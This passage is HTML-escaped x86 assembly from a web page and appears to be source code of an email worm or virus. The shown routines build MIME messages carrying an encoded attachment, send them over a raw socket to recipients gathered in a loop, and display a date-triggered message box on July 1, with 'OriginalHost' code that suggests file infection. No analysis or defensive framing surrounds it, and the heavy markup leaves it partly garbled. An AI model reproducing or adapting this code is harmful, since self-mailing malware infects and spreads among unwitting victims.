ReceiveReply&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EmailId:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + email_size], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, [ebp + email_buffer_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + emailid]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 21d&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EmailFrom:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + fromstatus], 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne EmailBody_MakeEmailFrom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [ebp + mimefrom_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + mimefromsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp EmailBody_EmailTo&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_MakeEmailFrom:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + fromtag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, dword ptr [ebp + fromaddress] &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, 11d&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, dword ptr [ebp + fromsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub ecx, 11d&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EmailTo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + tostatus], 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne EmailBody_MakeEmailTo&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [ebp + mimeto_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + mimetosize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp EmailBody_EmailStartPart&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_MakeEmailTo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + totag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 03h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + totalrcptsize], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;RcptStringLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, [ebp + rcpt_size_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, 04h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, dword ptr [edi]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [ebp + rcpt_buffer_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + totalrcptsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, 08h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub ecx, 08h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + totalrcptsize], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + rcptnumber]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ecx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne RcptStringLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EmailStartPart:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + emailstart]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, emailend-emailstart&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EmailAttachement:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, dword ptr [ebp + dmHnd]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + encodedsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EmailEndPart:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + emailtail]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 17d&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EmailBody_EndTag:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + endtag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add [ebp + email_size], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SendEmailBody:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + email_buffer_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [ebp + email_size]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendCommand&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call ReceiveReply&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MessageBoxDay:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + timedate]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGetSystemTime]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ax, word ptr [ebp + timedate.wMonth]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ax, 07h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne SendError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ax, word ptr [ebp + timedate.wDay]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ax, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne SendError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MessageBoxPayload:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, 0040h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                          &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;lea eax, [ebp + windowtitle]&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + msgmessage]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AMessageBox]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETUAPI&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SendError:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;-----------------------------[ send routine ]------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SendCommand:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + socketh]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASend]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETWAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, -1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne SendWentOk&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp SendCommand&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;SendWentOk:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;--------------------------[ receive routine ]------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;ReceiveReply:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push LARGE 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push LARGE 60&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + recvbuffer]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + socketh]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ARecv]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETWAPI&lt;span style=""&gt;                                  &lt;/span&gt;; call the api&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, -1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je ReceiveReply&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SEND_MAIL endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;****************************************************************************;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Leap:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.code&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;OriginalHost:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GetModuleHandleA &lt;span style=""&gt;                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov hInst, eax&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;                           &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CreateProgressWindow:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                             &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset MYDIALOG_0&lt;span style=""&gt;                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;                            &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 102&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                             &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push hInst&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;                           &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call DialogBoxParamA&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CreateMainWindow:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                             &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset MYDIALOG_1&lt;span style=""&gt;                        